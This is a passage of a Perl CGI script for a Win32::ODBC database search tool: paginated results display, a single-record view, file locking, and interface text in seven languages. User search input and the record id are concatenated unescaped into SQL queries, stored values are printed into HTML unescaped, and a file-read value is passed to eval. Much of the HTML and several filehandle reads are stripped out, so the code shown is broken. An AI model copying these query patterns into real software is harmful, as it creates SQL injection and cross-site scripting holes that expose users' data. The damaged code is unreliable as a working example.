$user_data{pagenum}"; print "\n"; print "$reportHeader\n"; if (!$user_data{pagenum}) { $user_data{pagenum}=1; $querystring=~s/cgifunction/pagenum=1\&cgifunction/; }; $pagenum=$user_data{pagenum}; if ($searchTemplateOn) { print "\n"; } else { $cellpadding=""; if ($hideBorder==1) {$Border=0; $cellpadding=" CELLPADDING=5 CELLSPACING=0 "} else {$Border=1}; print "\n"; } open(FIELDS,"<$fieldnames")||die "Could not open $fieldnames"; @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; shift(@fields); #POPULATE @VALUE INDEPENDENT OF SEQUENCE $fcount=0; foreach (@fields) { chop($_); $value[$fcount]=$user_data{$_}; if ($value[$fcount] ne "") { $clause=$value[$fcount]; if ($clause!~/^[<>=]|^between/i) {$clause=uc($clause);$clause="LIKE \'\%$clause\%\'"}; push(@whereclauses,"\{fn UCASE\($_\)\} $clause"); }; $fcount++; }; $whereclause=""; $numclauses=@whereclauses; $whereclause=" WHERE ".join(' AND ',@whereclauses) if $numclauses >0; if ($reportSort>0) { $orderby=" ORDER BY $fields[$reportSort-1]"; $orderby.=" DESC" if $reportOrder==1; } if ($reportSort2>0) { $orderby.=",$fields[$reportSort2-1]"; $orderby.=" DESC" if $reportOrder2==1; } $header= ""; if ($reportForm==1) {$header.=""; }; $header.=""; print "$header\n" if !$searchTemplateOn; #***** GET SQL CODE ***** $db = new Win32::ODBC("$dsn") or &error("Could not open Win32::ODBC(\"$dsn\")"); $db->Sql("SELECT * FROM ${tablename}${whereclause}${orderby}"); $date=0; while ($db->FetchRow()) { @data=$db->Data; #***** DISPLAY THE LINE **************** $min=($pagenum-1)*$reportLines; $max=$pagenum*$reportLines; $count++; if (($count>$min)&&($count<=$max)) { if (!$searchTemplateOn) { #ALTERNATE TABLE COLORS if ($alt==0) { $alt=1; print "\n"; } else { $alt=0; print "\n"; } if ($reportForm==1) { print ""; }; }; #***** BEGIN DISPLAY DATA LOOP ******* if (!$searchTemplateOn) { foreach (@sequence) { $n=$data[$_]; $n=~s/\r/
/g; if ($n eq "") {$n=' ';}; $n=~s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/$1<\/A>/g; if ($n=~/^([^ ]+\.(gif|jpg))$/i) {$n=""} else {$n=~s/^(http[^ \<\>]+)/$1<\/A>/g;}; print ""; }; } else { #BEGIN SEARCHTEMPLATE SUBSTITUTION foreach (@data) { s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/$1<\/A>/g; s/^(http[^ ]+)/$1<\/A>/g; s/^([^ ]+\.(gif|jpg))$/\/gi; }; $template=$searchTemplate; $template=~s/\$fields\[(\d+)\]/$fields[$1]/g; $template=~s/\$data\[(\d+)\]/$data[$1]/g; $template=~s/\$viewbutton/\
<\/form>/; print ($template); } #***** END DISPLAY DATA LOOP ********* }; print "
"; }; if ($searchTemplateOn) { print "\n\n"; } else { print "\n
";}; foreach (@sequence) { $header .= "$fields[$_]
"; print "$n
\n"; } print "
$reportFooter
\n"; if ($count>0) { print "
\n"; $min++; if ($max>$count) {$max=$count}; print " Results $min - $max of $count
"; if ($min>1) {print "
"}; if ($max<$count) {print "
"}; #CREATE LINKS TO ANY PAGENUMBER print "
Go to page\:"; $numpages=int($count/$reportLines); $myquery=$querystring; if ($count/$reportLines>$numpages) {$numpages++;}; for ($i=1;$i<=$numpages;$i++) { $myquery=~s/pagenum=[0-9]*/pagenum=$i/; print "$i "; }; } else { print "No results were found.

" }; print "

Search Again\n"; print " Return to home page\n

Built by OscarKnows
\n"; }; #*********END OF USERSEARCH SUBROUTINE************ #*********BEGIN SQL FORM************************** sub sqlform { pop(@value); $id=$user_data{fid}; if ($formTemplateOn != 1) { print " FORM DATA $reportHeader
"; }; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; shift(@fields); require Win32::ODBC; $db = new Win32::ODBC("$dsn"); $select="SELECT * FROM $tablename WHERE $fields[$primarykey] = $id"; $db->Sql($select); $db->FetchRow(); @data=$db->Data; $num = @fields; shift(@data); for ($i=0;$i<$num;$i++) { $data[$i]=~s/\"/'"'/ge; $data[$i]=~s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/$1<\/A>/; if ($data[$i]=~/^([^ ]+\.(gif|jpg))$/i) { $data[$i]=""; } else { $data[$i]=~s/^(http[^ ]+)/$1<\/A>/; }; print "
$fields[$i]$data[$i]\n" if $formTemplateOn != 1; }; if ($formTemplateOn != 1) { print "
"; }; &template if $formTemplateOn==1; print "

Back to Search Results \ \; Search Again \ \; Return to Homepage "; }; #*******END SQL FORM SUBROUTINE****** #BEGIN PUTLOCK sub putlock { if (!$disableFileLocking) { local $errormsg=qq(

Error -- Could not open ${uploadsdir}lock to write file lock

A lock is a file which is written before modifying the data and removed afterwards to prevent corruption by two simultanious processes. The directory, $uploadsdir has been defined on lines 6and 7 of the $0 script.
The $0 script must have read/write permissions to that directory in order to place the file lock.

You can disable the file lock on the "customize pages" screen. ); $lockfile="${uploadsdir}lock"; while (-e $lockfile) { #if there is another add process, stall until it is finished. $^T=time; if (-M $lockfile > .0013888889) {&removelock}; #if lock is older than 2 minutes, remove it. sleep 1; }; open (LOCK,">$lockfile") or &error("$errormsg"); print LOCK "1"; close LOCK; }; } #END PUTLOCK #BEGIN REMOVELOCK sub removelock { if (!$disableFileLocking) { unlink "${uploadsdir}lock" or error("Could not remove ${uploadsdir}lock"); } } #END REMOVELOCK sub getFields { if (length($registereddb)>0) { if ($registereddb=~/\/|\\/) {return}; open (FILE,"<$registereddb") or return("Could not open $registereddb for registration verification"); @rlines=; close FILE; chomp(@rlines); for ($i=0;$i<18;$i++) { if ($rlines[$i]=~/^\$logdir=[\'\"]?([^\'\"]*)/) { $rlogdir=$1; $rolgdir=eval($rlogdir); } if ($rlines[$i]=~/^\$code=[\'\"]?(\d*)/) { $rcode=$1; } if ($rlines[$i]=~/^\$fieldnames=[\'\"]?\$\{logdir\}([^\'\"]*)/) { $rfieldnames=$1; } } open(FILE,"<${rlogdir}$rfieldnames") or return("Found $registereddb, but could not open the file ${rlogdir}$rfieldnames indicated within it."); @rlines=; close FILE; chomp(@rlines); if ($rlines[0]=~/^webdata\d{6}/i) { print "$registereddb is entered as the master registered database.
However, $registereddb is not yet registered.

"; return; } $code=$rcode; $cache[0]=$rlines[0]; } return; } #BEGIN LANGUAGE sub language { $language=$user_data{cgilanguage} if length($user_data{cgilanguage})>0; if ($language eq "English") { $searchButton="Search"; $addButton="Add"; $clearButton="Clear"; $instructions=qq(Click "Clear Form" then "Search" to see all records.
Enter text in any field to restrict the search to only those records which CONTAIN your text in that field.

For numeric comparisons, begin with >, <, >=, or <=
To find a range, type between lowvalue and highvalue.
Use "and" & "or" for complex searches. ); $addresponse=qq(Your entry has been added.); $returntoprevious=qq(Return to previous page.); $lang_results=qq(Results); $lang_of=qq(of); $nextpage=qq(Next Page); $previouspage=qq(Previous Page); $gotopage=qq(Go to Page); $searchagain=qq(Search Again); $returntohomepage=qq(Return to Homepage); $poweredbywebteacher=qq(
ThePebble); $noresultswerefound="No results were found"; $indicatesRequiredFields=qq{indicates required fields}; } if ($language eq "German") { $searchButton="Suchen"; $addButton="Hinzufügen"; $clearButton="Zurücksetzen"; $instructions=qq(Klicken Sie auf "Zurücksetzen" und im Anschluß "Suchen", um alle Eintragungen anzuzeigen.
Geben Sie einen Text in einem Feld ein, wird die Suche dahingehend eingegrenzt, daß nur Eintragungen angezeigt werden, die den eingegebenen Text in dem entsprechenden Feld beinhalten.

Für numerische Vergleiche beginnen Sie mit >, <, >=, oder <=
Um einen bestimmten Wertebereich zu finden, geben Sie "between lowvalue and highvalue" ein.
Verwenden Sie "and" & "or" für eine komplexe Suche.); $addresponse=qq(Ihr Eintrag wurde hinzugefügt.); $returntoprevious=qq(Zurück zur vorherigen Seite); $lang_results=qq(Suchergebnisse); $lang_of=qq(von); $nextpage=qq(Nächste Seite); $previouspage=qq(Vorherige Seite); $gotopage=qq(Gehe zu Seite); $searchagain=qq(Neue Suche); $returntohomepage=qq(Zurück zur Homepage); $poweredbywebteacher=qq(
ThePebble); $noresultswerefound=qq(Es wurden keine Ergebnisse gefunden.); $indicatesRequiredFields=qq{indicates required fields}; }; if ($language eq "French") { $searchButton="Chercher"; $addButton="Ajouter"; $clearButton="Recommencer"; $instructions=qq(Cliquer sur "Recommencer" puis "Chercher" pour voir toutes les fiches.
Entrer un texte dans une/les case(s) pour sortir uniquement les fiches qui contiennent votre texte dans la/les case(s).

Pour les comparaisons numériques, commencer par >, <, >=, ou <=
Pour chercher une série de données, utiliser les termes "between" et "and" pour déterminer la fourchette. Par exemple, "between 1000 and 2000".
Utiliser "and" & "or" pour les recherches complexes.); $addresponse=qq(Votre saisie a été enregistré.); $returntoprevious=qq(Retour à la page précédente); $lang_results=qq(Résultats); $lang_of=qq(de); $nextpage=qq(Page suivante); $previouspage=qq(Page précédente); $gotopage=qq(Aller à la page); $searchagain=qq(Nouvelle recherche); $returntohomepage=qq(Retour à la page d\'accueil); $poweredbywebteacher=qq(Généré par
); $noresultswerefound="Aucun résultat"; $indicatesRequiredFields=qq{indicates required fields}; }; if ($language eq "Italian") { $searchButton="Cerca"; $addButton="Aggiungi"; $clearButton="Cancella il form"; $instructions=qq(Clicca "Cancella il form" e quindi "Cerca" per vedere tutti i record.
Inserisci del testo in un campo per restringere la ricerca ai soli record che CONTENGONO il tuo testo in quel campo.

Per confronti numerici, inizia con >, <, >=, o <=
Per cercare una gamma di valori, scrivi "between <valore minore> and <valore maggiore>".
Usa "and" e "or" per ricerche complesse.); $addresponse=qq(Il record è stato aggiunto.); $returntoprevious=qq(Torna alla pagina precedente); $lang_results=qq(Risultati); $lang_of=qq(di); $nextpage=qq(Pagina Successiva); $previouspage=qq(Pagina Precedente); $gotopage=qq(Vai a pagina); $searchagain=qq(Cerca Ancora); $returntohomepage=qq(Torna alla Homepage); $poweredbywebteacher=qq(
ThePebble); $noresultswerefound="Nessun record h stato trovato"; $indicatesRequiredFields=qq{indicates required fields}; }; if ($language eq "Spanish") { $searchButton="Buscar"; $addButton="Agregar"; $clearButton="Restablecer"; $instructions=qq(Si quieres ver todas las entradas en la base de datos pulsa el botón "Restablecer" luego "Buscar".
Si escibes texto en las casillas sola verás las entradas que contengan este texto en los resultados de la busqueda.

Para comparaciónes numericas, empieza con >, <, >=, o <=.
Para busquedas entre dos numeros, escribe "between valor bajo and valor alto". Por ejemplo "between 1000 and 2000".
Usa "and" y "or" para busquedas complejas.); $addresponse=qq(La base de datos ha sido actualizada.); $returntoprevious=qq(Regresa a la pagina anterior.); $lang_results=qq(Resultados); $lang_of=qq(de); $nextpage=qq(Página Siguiente); $previouspage=qq(Página Anterior); $gotopage=qq(Continue a página); $searchagain=qq(Reiniciar búsqueda); $returntohomepage=qq(Regresa a la pagina principal); $poweredbywebteacher=qq(
ThePebble); $noresultswerefound=qq(No se encuentra nada.); $indicatesRequiredFields=qq{indicates required fields}; }; if ($language eq "Dutch") { $searchButton="Zoeken"; $addButton="Toevoegen"; $clearButton="Opnieuw"; $instructions=qq(Druk op "Opnieuw" daarna "Zoeken" voor een overzicht van alle records.
Voer in een veld een tekst in om het zoeken te berperken naar die records die de tekst bevat.

Voor nummerieke vergelijkingen begint u met >, <, >=, or <=
Om een reeks te vinden, voert u in; between lowvalue and highvalue. Bijvoorbeeld "between 1000 en 2000".
Gebruik "and" & "or" voor gecompliceerd zoeken. ); $addresponse=qq(Uw gegevens zijn toegevoegd.); $returntoprevious=qq(Terug naar de vorige pagina.); $lang_results=qq(Zoekresultaat); $lang_of=qq(van); $nextpage=qq(Volgende pagina); $previouspage=qq(Vorige pagina); $gotopage=qq(Ga naar pagina); $searchagain=qq(Zoek opnieuw); $returntohomepage=qq(Terug naar Homepage); $poweredbywebteacher=qq(
ThePebble); $noresultswerefound="Er zijn geen resultaten gevonden"; $indicatesRequiredFields=qq{indicates required fields}; } if ($language eq "Portuguese") { $searchButton="Pesquisar"; $addButton="Incluir"; $clearButton="Limpar"; $instructions=qq(Clicar em "Limpar Formulário" depois em "Pesquisar" para ver todos os registros.
Digite um texto em qualquer campo para restringir a pesquisa aos registros que CONTENHAM esse texto.

Para comparações numéricas, comece usando >, <, >=, or <=
Para pesquisar em um intervalo, digite: "between" menor valor "and" maior valor. Exemplo: between 1000 and 2000.
Use "and" & "or" Para pesquisas mais completas. ); $addresponse=qq(Sua Informação Foi Incluída.); $returntoprevious=qq(Retornar a página anterior.); $lang_results=qq(Resultados); $lang_of=qq(de); $nextpage=qq(Próxima Página); $previouspage=qq(Página Anterior); $gotopage=qq(Ir para a Página); $searchagain=qq(Pesquisar Novamente); $returntohomepage=qq(Voltar para a Página Principal); $poweredbywebteacher=qq(
ThePebble); $noresultswerefound="Nada foi localizado"; $indicatesRequiredFields=qq{indica campos obrigatórios}; } } #END LANGUAGE